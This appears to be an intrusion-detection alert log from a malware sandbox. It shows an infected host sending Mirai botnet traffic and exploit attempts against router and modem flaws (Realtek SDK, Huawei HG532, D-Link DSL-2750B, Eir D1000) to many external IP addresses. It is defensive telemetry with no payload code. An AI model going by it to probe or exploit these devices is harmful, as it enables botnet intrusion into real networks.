SID:	2846457
Source Port:	45434
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.69.70

Timestamp:	192.168.2.2395.86.69.7040030802027121 10/23/22-17:57:54.677600
SID:	2027121
Source Port:	40030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.6.99.163

Timestamp:	192.168.2.23200.6.99.16338428802846380 10/23/22-17:58:17.015300
SID:	2846380
Source Port:	38428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.250.101

Timestamp:	192.168.2.2388.221.250.10148572802027121 10/23/22-17:58:05.326044
SID:	2027121
Source Port:	48572
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.10.158.21

Timestamp:	192.168.2.23185.10.158.2156654802841623 10/23/22-17:56:51.489662
SID:	2841623
Source Port:	56654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.227.64

Timestamp:	192.168.2.2395.110.227.6448552802027121 10/23/22-17:56:55.620612
SID:	2027121
Source Port:	48552
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.88.152.120

Timestamp:	192.168.2.2395.88.152.12037786802027121 10/23/22-17:56:53.158120
SID:	2027121
Source Port:	37786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.164.254.229

Timestamp:	192.168.2.23195.164.254.22945374528692027339 10/23/22-17:58:30.527981
SID:	2027339
Source Port:	45374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.40.26.223

Timestamp:	192.168.2.2323.40.26.22344698802841623 10/23/22-17:57:12.938656
SID:	2841623
Source Port:	44698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.16.247.69

Timestamp:	192.168.2.2384.16.247.6956900802846457 10/23/22-17:57:46.246485
SID:	2846457
Source Port:	56900
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.40.35.60

Timestamp:	192.168.2.2389.40.35.6046174802846457 10/23/22-17:57:07.197807
SID:	2846457
Source Port:	46174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 197.25.212.31

Timestamp:	192.168.2.23197.25.212.3157758802835221 10/23/22-17:57:11.163825
SID:	2835221
Source Port:	57758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.230.110.186

Timestamp:	192.168.2.2354.230.110.18644904802835222 10/23/22-17:57:33.314706
SID:	2835222
Source Port:	44904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.234.151.239

Timestamp:	192.168.2.23156.234.151.23938852802841623 10/23/22-17:58:29.254030
SID:	2841623
Source Port:	38852
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.166.243.186

Timestamp:	192.168.2.23188.166.243.18654270802846457 10/23/22-17:57:00.491512
SID:	2846457
Source Port:	54270
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.14.255.224

Timestamp:	192.168.2.23213.14.255.22459990802846380 10/23/22-17:57:24.977401
SID:	2846380
Source Port:	59990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.162.214.61

Timestamp:	192.168.2.23112.162.214.6154798802027121 10/23/22-17:57:36.301164
SID:	2027121
Source Port:	54798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.94.8.105

Timestamp:	192.168.2.2386.94.8.10550242802846380 10/23/22-17:57:33.283591
SID:	2846380
Source Port:	50242
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.210.71.120

Timestamp:	192.168.2.23178.210.71.12038890802846380 10/23/22-17:58:27.300687
SID:	2846380
Source Port:	38890
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.165.74.19

Timestamp:	192.168.2.2382.165.74.1949028802846380 10/23/22-17:57:46.287055
SID:	2846380
Source Port:	49028
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.241.95.124

Timestamp:	192.168.2.23156.241.95.12437092802841623 10/23/22-17:58:37.928792
SID:	2841623
Source Port:	37092
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.250.35.124

Timestamp:	192.168.2.23213.250.35.12441982802846380 10/23/22-17:56:58.160862
SID:	2846380
Source Port:	41982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.110.209

Timestamp:	192.168.2.23156.240.110.20937950372152835222 10/23/22-17:58:28.949107
SID:	2835222
Source Port:	37950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.89.118.158

Timestamp:	192.168.2.2395.89.118.15855294802027121 10/23/22-17:57:56.443829
SID:	2027121
Source Port:	55294
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.244.214.148

Timestamp:	192.168.2.2395.244.214.14857008802027121 10/23/22-17:56:53.180020
SID:	2027121
Source Port:	57008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.59.182.228

Timestamp:	192.168.2.2337.59.182.22844582802846457 10/23/22-17:57:31.274748
SID:	2846457
Source Port:	44582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.145.127.172

Timestamp:	192.168.2.2354.145.127.17257618802841623 10/23/22-17:58:14.489760
SID:	2841623
Source Port:	57618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.225.62.124

Timestamp:	192.168.2.23188.225.62.12451002802846457 10/23/22-17:57:47.833690
SID:	2846457
Source Port:	51002
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.180.171.164

Timestamp:	192.168.2.2382.180.171.16433066802846380 10/23/22-17:58:06.311768
SID:	2846380
Source Port:	33066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.72.5.249

Timestamp:	192.168.2.23206.72.5.24939794802846380 10/23/22-17:57:18.656565
SID:	2846380
Source Port:	39794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.56.132.62

Timestamp:	192.168.2.2395.56.132.6240336802027121 10/23/22-17:57:45.060050
SID:	2027121
Source Port:	40336
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.155.211.186

Timestamp:	192.168.2.2395.155.211.18649866802027121 10/23/22-17:58:07.336838
SID:	2027121
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.94.255

Timestamp:	192.168.2.2395.86.94.25544218802027121 10/23/22-17:57:38.707261
SID:	2027121
Source Port:	44218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.152.85.155

Timestamp:	192.168.2.23213.152.85.15535622802846380 10/23/22-17:57:18.657475
SID:	2846380
Source Port:	35622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.32.61.51

Timestamp:	192.168.2.23178.32.61.5133928802846380 10/23/22-17:56:49.720674
SID:	2846380
Source Port:	33928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.204.83

Timestamp:	192.168.2.2385.128.204.8339382802846457 10/23/22-17:57:58.562315
SID:	2846457
Source Port:	39382
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.78.151

Timestamp:	192.168.2.2395.86.78.15153844802027121 10/23/22-17:58:30.397264
SID:	2027121
Source Port:	53844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.41.202.86

Timestamp:	192.168.2.23181.41.202.8635206802846380 10/23/22-17:57:10.953928
SID:	2846380
Source Port:	35206
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.35.48.229

Timestamp:	192.168.2.2389.35.48.22951988802846457 10/23/22-17:57:38.013530
SID:	2846457
Source Port:	51988
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 156.247.23.88

Timestamp:	192.168.2.23156.247.23.883563075472023548 10/23/22-17:58:02.112528
SID:	2023548
Source Port:	35630
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.185

Timestamp:	192.168.2.23156.241.118.18549012802835221 10/23/22-17:57:38.912493
SID:	2835221
Source Port:	49012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.169.156.9

Timestamp:	192.168.2.23112.169.156.954126802027121 10/23/22-17:58:36.316715
SID:	2027121
Source Port:	54126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 34.76.74.104

Timestamp:	192.168.2.2334.76.74.10445154802835221 10/23/22-17:56:47.921557
SID:	2835221
Source Port:	45154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.238.101.215

Timestamp:	192.168.2.2395.238.101.21546354802027121 10/23/22-17:58:05.406457
SID:	2027121
Source Port:	46354
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.9.41.155

Timestamp:	192.168.2.2395.9.41.15537402802027121 10/23/22-17:58:30.387777
SID:	2027121
Source Port:	37402
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.193.9.18

Timestamp:	192.168.2.23181.193.9.1845328802846380 10/23/22-17:57:13.788226
SID:	2846380
Source Port:	45328
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.115.132

Timestamp:	192.168.2.23112.74.115.13251736802027121 10/23/22-17:57:10.629643
SID:	2027121
Source Port:	51736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.239.86.181

Timestamp:	192.168.2.2383.239.86.18154786802846380 10/23/22-17:58:19.925560
SID:	2846380
Source Port:	54786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 41.225.51.140

Timestamp:	192.168.2.2341.225.51.14050464802835221 10/23/22-17:58:29.466955
SID:	2835221
Source Port:	50464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.98.101.159

Timestamp:	192.168.2.2388.98.101.15960440802027121 10/23/22-17:57:01.063687
SID:	2027121
Source Port:	60440
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.116.94.92

Timestamp:	192.168.2.23122.116.94.9237090802841623 10/23/22-17:57:28.658822
SID:	2841623
Source Port:	37090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.111.250.158

Timestamp:	192.168.2.2395.111.250.15860670802027121 10/23/22-17:57:49.311792
SID:	2027121
Source Port:	60670
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.176.83.61

Timestamp:	192.168.2.23213.176.83.6157604802846380 10/23/22-17:57:25.070394
SID:	2846380
Source Port:	57604
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.165.26.153

Timestamp:	192.168.2.2382.165.26.15335618802846380 10/23/22-17:57:07.288541
SID:	2846380
Source Port:	35618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.95.10.146

Timestamp:	192.168.2.23213.95.10.14644322802846380 10/23/22-17:57:37.887291
SID:	2846380
Source Port:	44322
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.214.78.47

Timestamp:	192.168.2.23181.214.78.4754170802846380 10/23/22-17:56:55.632050
SID:	2846380
Source Port:	54170
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.200.247.193

Timestamp:	192.168.2.2388.200.247.19333682802027121 10/23/22-17:58:05.284705
SID:	2027121
Source Port:	33682
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.75.200.102

Timestamp:	192.168.2.23200.75.200.10259758802846380 10/23/22-17:58:09.114577
SID:	2846380
Source Port:	59758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.150.184

Timestamp:	192.168.2.23206.189.150.18458726802846380 10/23/22-17:57:00.053342
SID:	2846380
Source Port:	58726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.158.160.7

Timestamp:	192.168.2.2395.158.160.751674802027121 10/23/22-17:57:34.534739
SID:	2027121
Source Port:	51674
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.151.37.5

Timestamp:	192.168.2.23213.151.37.534322802846380 10/23/22-17:57:58.356034
SID:	2846380
Source Port:	34322
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.85.57.158

Timestamp:	192.168.2.23200.85.57.15856762802846380 10/23/22-17:58:09.811552
SID:	2846380
Source Port:	56762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.238.225.161

Timestamp:	192.168.2.23178.238.225.16148844802846380 10/23/22-17:58:27.248556
SID:	2846380
Source Port:	48844
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.126.212

Timestamp:	192.168.2.2388.221.126.21253874802027121 10/23/22-17:58:02.115636
SID:	2027121
Source Port:	53874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.7.9.55

Timestamp:	192.168.2.23200.7.9.5555484802846380 10/23/22-17:58:22.290851
SID:	2846380
Source Port:	55484
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.248.209.245

Timestamp:	192.168.2.2395.248.209.24548582802027121 10/23/22-17:57:25.854605
SID:	2027121
Source Port:	48582
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.194.203

Timestamp:	192.168.2.2385.214.194.20333140802846457 10/23/22-17:57:31.240332
SID:	2846457
Source Port:	33140
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.177.219

Timestamp:	192.168.2.2395.101.177.21939114802027121 10/23/22-17:58:24.017103
SID:	2027121
Source Port:	39114
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.145.50.174

Timestamp:	192.168.2.23200.145.50.17451190802846380 10/23/22-17:57:14.980709
SID:	2846380
Source Port:	51190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 197.0.137.137

Timestamp:	192.168.2.23197.0.137.1375436075472023548 10/23/22-17:56:53.608732
SID:	2023548
Source Port:	54360
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.32.68.89

Timestamp:	192.168.2.23213.32.68.8936496802846380 10/23/22-17:58:33.195889
SID:	2846380
Source Port:	36496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.1.134.199

Timestamp:	192.168.2.23197.1.134.19957460372152835222 10/23/22-17:57:57.154835
SID:	2835222
Source Port:	57460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.219.3.142

Timestamp:	192.168.2.2388.219.3.14258788802027121 10/23/22-17:58:19.584441
SID:	2027121
Source Port:	58788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.21.223.201

Timestamp:	192.168.2.2389.21.223.20151174802846457 10/23/22-17:58:10.304546
SID:	2846457
Source Port:	51174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.208.230.54

Timestamp:	192.168.2.2395.208.230.5437526802027121 10/23/22-17:57:28.451752
SID:	2027121
Source Port:	37526
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.158.91.120

Timestamp:	192.168.2.23188.158.91.12059320802846457 10/23/22-17:57:47.925030
SID:	2846457
Source Port:	59320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.42.57.193

Timestamp:	192.168.2.2361.42.57.19348056802846457 10/23/22-17:57:51.197183
SID:	2846457
Source Port:	48056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.37.87

Timestamp:	192.168.2.2395.216.37.8755274802027121 10/23/22-17:57:07.968046
SID:	2027121
Source Port:	55274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.59.62

Timestamp:	192.168.2.2388.221.59.6250114802027121 10/23/22-17:57:12.951910
SID:	2027121
Source Port:	50114
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.67.46.210

Timestamp:	192.168.2.2395.67.46.21049302802027121 10/23/22-17:57:13.027539
SID:	2027121
Source Port:	49302
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.236.156.11

Timestamp:	192.168.2.2385.236.156.1158694802846457 10/23/22-17:58:37.501669
SID:	2846457
Source Port:	58694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 190.192.207.54

Timestamp:	192.168.2.23190.192.207.545865275472023548 10/23/22-17:57:55.482280
SID:	2023548
Source Port:	58652
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.165.254.196

Timestamp:	192.168.2.2346.165.254.19641084802846457 10/23/22-17:57:41.256604
SID:	2846457
Source Port:	41084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.138.115.152

Timestamp:	192.168.2.23164.138.115.15240582528692027339 10/23/22-17:57:22.431427
SID:	2027339
Source Port:	40582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.78.9.155

Timestamp:	192.168.2.23112.78.9.15551454802027121 10/23/22-17:58:02.812625
SID:	2027121
Source Port:	51454
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.247.28.228

Timestamp:	192.168.2.2384.247.28.22844288802846457 10/23/22-17:57:12.961320
SID:	2846457
Source Port:	44288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.20

Timestamp:	192.168.2.23156.235.100.2034574372152835222 10/23/22-17:58:25.491294
SID:	2835222
Source Port:	34574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.62.230.254

Timestamp:	192.168.2.2370.62.230.25443020802841623 10/23/22-17:57:38.477263
SID:	2841623
Source Port:	43020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.91.57.133

Timestamp:	192.168.2.23178.91.57.13353534802846380 10/23/22-17:57:49.444577
SID:	2846380
Source Port:	53534
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.20.128.246

Timestamp:	192.168.2.232.20.128.24645532802846457 10/23/22-17:57:28.759047
SID:	2846457
Source Port:	45532
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.190.16.114

Timestamp:	192.168.2.23188.190.16.11438428802846457 10/23/22-17:58:17.705299
SID:	2846457
Source Port:	38428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.151.74.5

Timestamp:	192.168.2.2388.151.74.557974802027121 10/23/22-17:58:32.661088
SID:	2027121
Source Port:	57974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.135.201.186

Timestamp:	192.168.2.235.135.201.18656190802846457 10/23/22-17:57:46.216250
SID:	2846457
Source Port:	56190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

